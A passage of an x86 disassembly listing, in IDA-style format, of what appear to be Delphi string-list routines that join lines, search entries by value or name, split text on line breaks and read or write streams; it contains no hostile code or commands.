		inc	esi
		mov	[ebp+var_C], 0


loc_2001098A:				; CODE XREF: sub_20010938+7Aj
		lea	ecx, [ebp+var_20]
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	eax, [ebp+var_20]
		call	sub_20004244
		mov	edi, eax
		mov	eax, [ebp+var_1C]
		call	sub_20004244
		add	edi, eax
		add	ebx, edi
		inc	[ebp+var_C]
		dec	esi
		jnz	short loc_2001098A


loc_200109B4:				; CODE XREF: sub_20010938+48j
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		xor	edx, edx
		call	sub_20004098
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		mov	esi, [ebp+var_10]
		dec	esi
		test	esi, esi
		jl	short loc_20010A28
		inc	esi
		mov	[ebp+var_C], 0


loc_200109D8:				; CODE XREF: sub_20010938+EEj
		lea	ecx, [ebp+var_18]
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		mov	ebx, [eax]
		call	dword ptr [ebx+0Ch]
		mov	eax, [ebp+var_18]
		call	sub_20004244
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_20010A04
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	ecx, ebx
		call	sub_200027FC
		add	[ebp+var_14], ebx


loc_20010A04:				; CODE XREF: sub_20010938+BAj
		mov	eax, [ebp+var_1C]
		call	sub_20004244
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_20010A22
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_1C]
		mov	ecx, ebx
		call	sub_200027FC
		add	[ebp+var_14], ebx


loc_20010A22:				; CODE XREF: sub_20010938+D8j
		inc	[ebp+var_C]
		dec	esi
		jnz	short loc_200109D8


loc_20010A28:				; CODE XREF: sub_20010938+96j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010A4A


loc_20010A35:				; CODE XREF: sub_20010938+110j
		lea	eax, [ebp+var_20]
		mov	edx, 3
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_20010A43:				; DATA XREF: sub_20010938+1Do
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20010A35
; ---------------------------------------------------------------------------


loc_20010A4A:				; CODE XREF: sub_20010938+10Aj
					; DATA XREF: sub_20010938+F8o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_20010938	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_20010A5C	dd 0A0Dh		; DATA XREF: sub_20010938+38o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20010A60	proc near		; CODE XREF: sub_200114C0+11p
					; DATA XREF: CODE:2000F83Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20010AD8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	esi, eax
		dec	esi
		test	esi, esi
		jl	short loc_20010ABB
		inc	esi
		mov	[ebp+var_8], 0


loc_20010A97:				; CODE XREF: sub_20010A60+59j
		lea	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	eax, ebx
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	edx, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	eax, ebx
		mov	edi, [eax]
		call	dword ptr [edi+34h]
		test	eax, eax
		jz	short loc_20010AC2
		inc	[ebp+var_8]
		dec	esi
		jnz	short loc_20010A97


loc_20010ABB:				; CODE XREF: sub_20010A60+2Dj
		mov	[ebp+var_8], 0FFFFFFFFh


loc_20010AC2:				; CODE XREF: sub_20010A60+53j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010ADF


loc_20010ACF:				; CODE XREF: sub_20010A60+7Dj
		lea	eax, [ebp+var_C]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20010AD8:				; DATA XREF: sub_20010A60+16o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20010ACF
; ---------------------------------------------------------------------------


loc_20010ADF:				; CODE XREF: sub_20010A60+77j
					; DATA XREF: sub_20010A60+6Ao
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_20010A60	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20010AEC	proc near		; DATA XREF: CODE:2000F840o
					; CODE:2000F970o

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20010BAF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		dec	eax
		test	eax, eax
		jl	short loc_20010B85
		inc	eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_8], 0


loc_20010B29:				; CODE XREF: sub_20010AEC+97j
		lea	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	eax, ebx
		mov	esi, [eax]
		call	dword ptr [esi+0Ch]
		mov	eax, ebx
		call	sub_2001114C
		mov	edx, eax
		lea	eax, [ebp+var_14]
		call	sub_20004190
		mov	eax, [ebp+var_14]
		mov	edx, [ebp+var_C]
		call	sub_2000B03C
		mov	esi, eax
		test	esi, esi
		jz	short loc_20010B7D
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, esi
		dec	ecx
		mov	edx, 1
		mov	eax, [ebp+var_C]
		call	sub_200044A4
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_4]
		mov	eax, ebx
		mov	esi, [eax]
		call	dword ptr [esi+34h]
		test	eax, eax
		jz	short loc_20010B8C


loc_20010B7D:				; CODE XREF: sub_20010AEC+6Aj
		inc	[ebp+var_8]
		dec	[ebp+var_10]
		jnz	short loc_20010B29


loc_20010B85:				; CODE XREF: sub_20010AEC+30j
		mov	[ebp+var_8], 0FFFFFFFFh


loc_20010B8C:				; CODE XREF: sub_20010AEC+8Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010BB6


loc_20010B99:				; CODE XREF: sub_20010AEC+C8j
		lea	eax, [ebp+var_18]
		mov	edx, 2
		call	sub_20003FCC
		lea	eax, [ebp+var_C]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20010BAF:				; DATA XREF: sub_20010AEC+1Bo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20010B99
; ---------------------------------------------------------------------------


loc_20010BB6:				; CODE XREF: sub_20010AEC+C2j
					; DATA XREF: sub_20010AEC+A8o
		mov	eax, [ebp+var_8]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_20010AEC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20010BC0	proc near		; DATA XREF: CODE:2000F844o
					; CODE:2000F974o
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, edx
		mov	edi, eax
		mov	eax, edi
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	ebx, eax
		dec	ebx
		test	ebx, ebx
		jl	short loc_20010BEA
		inc	ebx
		xor	esi, esi


loc_20010BD9:				; CODE XREF: sub_20010BC0+28j
		mov	edx, esi
		mov	eax, edi
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		cmp	ebp, eax
		jz	short loc_20010BED
		inc	esi
		dec	ebx
		jnz	short loc_20010BD9


loc_20010BEA:				; CODE XREF: sub_20010BC0+14j
		or	esi, 0FFFFFFFFh


loc_20010BED:				; CODE XREF: sub_20010BC0+24j
		mov	eax, esi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20010BC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20010BF4	proc near		; DATA XREF: CODE:2000F84Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	esi, eax
		mov	ecx, [ebp+var_4]
		mov	edx, edi
		mov	eax, esi
		mov	ebx, [eax]
		call	dword ptr [ebx+60h]
		mov	ecx, [ebp+arg_0]
		mov	edx, edi
		mov	eax, esi
		mov	ebx, [eax]
		call	dword ptr [ebx+24h]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_20010BF4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20010C24	proc near		; DATA XREF: CODE:2000F850o
					; CODE:2000F980o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, eax
		push	20h
		mov	ecx, edx
		mov	eax, off_2000FACC
		mov	dl, 1
		call	sub_20011AB4
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_20010C6C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, [ebp+var_4]
		mov	eax, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+6Ch]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010C73


loc_20010C63:				; CODE XREF: sub_20010C24+4Dj
		mov	eax, [ebp+var_4]
		call	sub_200034F4
		retn
; ---------------------------------------------------------------------------


loc_20010C6C:				; DATA XREF: sub_20010C24+1Do
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20010C63
; ---------------------------------------------------------------------------


loc_20010C73:				; CODE XREF: sub_20010C24+47j
					; DATA XREF: sub_20010C24+3Ao
		pop	esi
		pop	ecx
		pop	ebp
		retn
sub_20010C24	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20010C78	proc near		; DATA XREF: CODE:2000F854o
					; CODE:2000F984o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_8], ecx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_20010D15
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_200105E4
		xor	eax, eax
		push	ebp
		push	offset loc_20010CF8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx]
		mov	esi, eax
		mov	eax, ebx
		call	sub_200117B4
		sub	esi, eax
		lea	eax, [ebp+var_8]
		mov	ecx, esi
		xor	edx, edx
		call	sub_20004098
		mov	edx, [ebp+var_8]
		mov	ecx, esi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+0Ch]
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+2Ch]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010CFF


loc_20010CEF:				; CODE XREF: sub_20010C78+85j
		mov	eax, [ebp+var_4]
		call	near ptr loc_2001069B+5
		retn
; ---------------------------------------------------------------------------


loc_20010CF8:				; DATA XREF: sub_20010C78+2Bo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20010CEF
; ---------------------------------------------------------------------------


loc_20010CFF:				; CODE XREF: sub_20010C78+7Fj
					; DATA XREF: sub_20010C78+72o
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010D1C


loc_20010D0C:				; CODE XREF: sub_20010C78+A2j
		lea	eax, [ebp+var_8]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20010D15:				; DATA XREF: sub_20010C78+15o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20010D0C
; ---------------------------------------------------------------------------


loc_20010D1C:				; CODE XREF: sub_20010C78+9Cj
					; DATA XREF: sub_20010C78+8Fo
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_20010C78	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20010D24	proc near		; DATA XREF: CODE:2000F858o
					; CODE:2000F988o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	esi, ecx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_20010DC5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	esi, ebx
		jz	short loc_20010DAF
		mov	eax, [ebp+var_4]
		call	sub_200105E4
		xor	eax, eax
		push	ebp
		push	offset loc_20010DA8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	ecx, [ebp+var_8]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	edi, eax
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+48h]
		push	edi
		mov	ecx, [ebp+var_8]
		mov	edx, esi
		mov	eax, [ebp+var_4]
		mov	ebx, [eax]
		call	dword ptr [ebx+64h]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010DAF


loc_20010D9F:				; CODE XREF: sub_20010D24+89j
		mov	eax, [ebp+var_4]
		call	near ptr loc_2001069B+5
		retn
; ---------------------------------------------------------------------------


loc_20010DA8:				; DATA XREF: sub_20010D24+32o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20010D9F
; ---------------------------------------------------------------------------


loc_20010DAF:				; CODE XREF: sub_20010D24+25j
					; sub_20010D24+83j
					; DATA XREF: ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010DCC


loc_20010DBC:				; CODE XREF: sub_20010D24+A6j
		lea	eax, [ebp+var_8]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20010DC5:				; DATA XREF: sub_20010D24+18o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20010DBC
; ---------------------------------------------------------------------------


loc_20010DCC:				; CODE XREF: sub_20010D24+A0j
					; DATA XREF: sub_20010D24+93o
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_20010D24	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20010DD4	proc near		; DATA XREF: CODE:2000F808o

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	[esp+14h+var_14], ecx
		mov	edi, edx
		mov	esi, eax
		mov	edx, edi
		mov	eax, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	ebp, eax
		mov	edx, edi
		mov	eax, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+48h]
		push	ebp
		mov	ecx, [esp+18h+var_14]
		mov	edx, edi
		mov	eax, esi
		mov	ebx, [eax]
		call	dword ptr [ebx+64h]
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20010DD4	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20010E0C	proc near		; DATA XREF: sub_20010654+11o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		xor	ecx, ecx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_20010EB0
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_8]
		call	sub_20011EA4
		mov	eax, [ebp+var_4]
		call	sub_200105E4
		xor	eax, eax
		push	ebp
		push	offset loc_20010E8B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		call	dword ptr [edx+44h]
		jmp	short loc_20010E69
; ---------------------------------------------------------------------------


loc_20010E53:				; CODE XREF: sub_20010E0C+67j
		lea	edx, [ebp+var_C]
		mov	eax, [ebp+var_8]
		call	sub_20011EF0
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+38h]


loc_20010E69:				; CODE XREF: sub_20010E0C+45j
		mov	eax, [ebp+var_8]
		call	sub_20011DF8
		test	al, al
		jz	short loc_20010E53
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010E92


loc_20010E82:				; CODE XREF: sub_20010E0C+84j
		mov	eax, [ebp+var_4]
		call	near ptr loc_2001069B+5
		retn
; ---------------------------------------------------------------------------


loc_20010E8B:				; DATA XREF: sub_20010E0C+32o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20010E82
; ---------------------------------------------------------------------------


loc_20010E92:				; CODE XREF: sub_20010E0C+7Ej
					; DATA XREF: sub_20010E0C+71o
		mov	eax, [ebp+var_8]
		call	sub_20011EAC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010EB7


loc_20010EA7:				; CODE XREF: sub_20010E0C+A9j
		lea	eax, [ebp+var_C]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20010EB0:				; DATA XREF: sub_20010E0C+14o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20010EA7
; ---------------------------------------------------------------------------


loc_20010EB7:				; CODE XREF: sub_20010E0C+A3j
					; DATA XREF: sub_20010E0C+96o
		mov	esp, ebp
		pop	ebp
		retn
sub_20010E0C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20010EBC	proc near		; DATA XREF: CODE:2000F85Co
					; CODE:2000F98Co

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, eax
		push	0FFFFh
		mov	ecx, edx
		mov	eax, off_2000FACC
		mov	dl, 1
		call	sub_20011AB4
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_20010F07
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, [ebp+var_4]
		mov	eax, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+78h]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010F0E


loc_20010EFE:				; CODE XREF: sub_20010EBC+50j
		mov	eax, [ebp+var_4]
		call	sub_200034F4
		retn
; ---------------------------------------------------------------------------


loc_20010F07:				; DATA XREF: sub_20010EBC+20o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20010EFE
; ---------------------------------------------------------------------------


loc_20010F0E:				; CODE XREF: sub_20010EBC+4Aj
					; DATA XREF: sub_20010EBC+3Do
		pop	esi
		pop	ecx
		pop	ebp
		retn
sub_20010EBC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20010F14	proc near		; DATA XREF: CODE:2000F860o
					; CODE:2000F990o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20010F61
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+1Ch]
		mov	eax, [ebp+var_4]
		call	sub_20004244
		mov	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, esi
		call	sub_200119B8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010F68


loc_20010F58:				; CODE XREF: sub_20010F14+52j
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20010F61:				; DATA XREF: sub_20010F14+Eo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20010F58
; ---------------------------------------------------------------------------


loc_20010F68:				; CODE XREF: sub_20010F14+4Cj
					; DATA XREF: sub_20010F14+3Fo
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_20010F14	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20010F74	proc near		; CODE XREF: sub_2001041C+Fp
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		cmp	dword ptr [ebx+0Ch], 0
		jz	short loc_20010F88
		mov	eax, [ebx+0Ch]
		mov	edx, [eax]
		call	dword ptr [edx+10h]


loc_20010F88:				; CODE XREF: sub_20010F74+Aj
		lea	eax, [ebx+0Ch]
		mov	edx, esi
		call	sub_2000550C
		cmp	dword ptr [ebx+0Ch], 0
		jz	short loc_20010FA2
		mov	edx, ebx
		mov	eax, [ebx+0Ch]
		mov	ecx, [eax]
		call	dword ptr [ecx+0Ch]


loc_20010FA2:				; CODE XREF: sub_20010F74+22j
		pop	esi
		pop	ebx
		retn
sub_20010F74	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20010FA8	proc near		; DATA XREF: CODE:2000F864o
					; CODE:2000F994o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20010FEB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		mov	edx, esi
		call	sub_200041A0
		mov	edx, [ebp+var_4]
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+2Ch]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010FF2


loc_20010FE2:				; CODE XREF: sub_20010FA8+48j
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20010FEB:				; DATA XREF: sub_20010FA8+Eo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20010FE2
; ---------------------------------------------------------------------------


loc_20010FF2:				; CODE XREF: sub_20010FA8+42j
					; DATA XREF: sub_20010FA8+35o
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_20010FA8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20010FF8	proc near		; DATA XREF: CODE:2000F814o
					; CODE:2000F944o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		xor	ecx, ecx
		mov	[ebp+var_8], ecx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_200110AC
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_200105E4
		xor	edx, edx
		push	ebp
		push	offset loc_2001108F
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		call	dword ptr [edx+44h]
		test	ebx, ebx
		jz	short loc_20011079
		jmp	short loc_20011074
; ---------------------------------------------------------------------------


loc_2001103B:				; CODE XREF: sub_20010FF8+7Fj
		mov	eax, ebx
		jmp	short loc_20011040
; ---------------------------------------------------------------------------


loc_2001103F:				; CODE XREF: sub_20010FF8+56j
		inc	ebx


loc_20011040:				; CODE XREF: sub_20010FF8+45j
		mov	dl, [ebx]
		test	dl, dl
		jz	short loc_20011050
		sub	dl, 0Ah
		jz	short loc_20011050
		sub	dl, 3
		jnz	short loc_2001103F


loc_20011050:				; CODE XREF: sub_20010FF8+4Cj
					; sub_20010FF8+51j
		mov	ecx, ebx
		sub	ecx, eax
		lea	edx, [ebp+var_8]
		xchg	eax, edx
		call	sub_20004098
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+38h]
		cmp	byte ptr [ebx],	0Dh
		jnz	short loc_2001106E
		inc	ebx


loc_2001106E:				; CODE XREF: sub_20010FF8+73j
		cmp	byte ptr [ebx],	0Ah
		jnz	short loc_20011074
		inc	ebx


loc_20011074:				; CODE XREF: sub_20010FF8+41j
					; sub_20010FF8+79j
		cmp	byte ptr [ebx],	0
		jnz	short loc_2001103B


loc_20011079:				; CODE XREF: sub_20010FF8+3Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20011096


loc_20011086:				; CODE XREF: sub_20010FF8+9Cj
		mov	eax, [ebp+var_4]
		call	near ptr loc_2001069B+5
		retn
; ---------------------------------------------------------------------------


loc_2001108F:				; DATA XREF: sub_20010FF8+2Ao
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20011086
; ---------------------------------------------------------------------------


loc_20011096:				; CODE XREF: sub_20010FF8+96j
					; DATA XREF: sub_20010FF8+89o
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_200110B3


loc_200110A3:				; CODE XREF: sub_20010FF8+B9j
		lea	eax, [ebp+var_8]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_200110AC:				; DATA XREF: sub_20010FF8+14o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200110A3
; ---------------------------------------------------------------------------


loc_200110B3:				; CODE XREF: sub_20010FF8+B3j
					; DATA XREF: sub_20010FF8+A6o
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_20010FF8	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200110BC	proc near		; DATA XREF: sub_20010654+1Ao

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_20011132
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_8]
		call	sub_20012430
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	ebx, eax
		dec	ebx
		test	ebx, ebx
		jl	short loc_20011114
		inc	ebx
		xor	esi, esi


loc_200110F8:				; CODE XREF: sub_200110BC+56j
		lea	ecx, [ebp+var_C]
		mov	edx, esi
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_8]
		call	sub_200124D8
		inc	esi
		dec	ebx
		jnz	short loc_200110F8


loc_20011114:				; CODE XREF: sub_200110BC+37j
		mov	eax, [ebp+var_8]
		call	sub_20012438
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20011139


loc_20011129:				; CODE XREF: sub_200110BC+7Bj
		lea	eax, [ebp+var_C]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20011132:				; DATA XREF: sub_200110BC+17o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20011129
; ---------------------------------------------------------------------------


loc_20011139:				; CODE XREF: sub_200110BC+75j
					; DATA XREF: sub_200110BC+68o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_200110BC	endp


